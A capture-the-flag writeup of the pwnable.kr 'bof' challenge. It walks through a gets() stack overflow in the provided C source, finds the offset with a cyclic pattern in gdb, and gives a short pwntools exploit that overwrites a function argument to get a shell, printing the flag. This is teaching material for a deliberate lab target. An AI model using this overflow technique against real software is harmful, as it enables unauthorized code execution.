Back to writeups

pwnable.kr: bof writeup

📅 Nov 2025 🏆 5 points 📂 Toddler's Bottle
buffer-overflow stack-canary x86 pwntools

Challenge Description

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
ssh bof@pwnable.kr -p2222 (pw: guest)

Connecting:

ssh bof@pwnable.kr -p2222

Running ls gives:

bof  bof.c  readme

The readme says:

bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag

Reading the source code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);       // smash me!
	if(key == 0xcafebabe){
		setregid(getegid(), getegid());
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

There is a stack buffer overflow in the func function. The buffer is 32 bytes, and the program uses the unsafe gets() function which doesn't check bounds. The goal is to overflow the buffer and overwrite the key parameter from 0xdeadbeef to 0xcafebabe.

Running checksec --file=./bof we see:

    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

Interestingly, the stack canary is found, for the stack buffer overflows should be detected!

A stack canary is a random value that is placed on the stack before the return address. This string is checked before the flow returns to the calling code. This way, the program can detect if stack buffer overflow happened and crash the program with stack smashing detected.

Luckily, in this program we don't really need to deal with the stack canary at all - instead, the shell is called inside func before the function returns, so the canary check never happens.

Finding the offset

I used gdb with a cyclic pattern to find the exact offset:

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Setting a breakpoint at the comparison instruction:

0x5655623c <func+63>    cmp    dword ptr [ebp + 8], 0xcafebabe

The key parameter lives at ebp+8 (standard x86 calling convention—parameters are pushed onto the stack above the saved base pointer). Examining the stack:

0e:0038│ ebp 0xffffdba8 ◂— ...
10:0040│+008 0xffffdbb0 ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'

The pattern naaa appears at ebp+8, giving me the offset needed to overwrite the parameter.

Exploitation

from pwn import *
offset = cyclic_find('naaa')
payload = b'a' * offset
payload += p32(0xcafebabe)
conn = remote('pwnable.kr', 9000)
conn.sendline(payload)
conn.interactive()

Running the exploit:

python3 exploit.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ whoami
bof_pwn
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
Daddy_I_just_pwned_a_buff3r!

Yay :)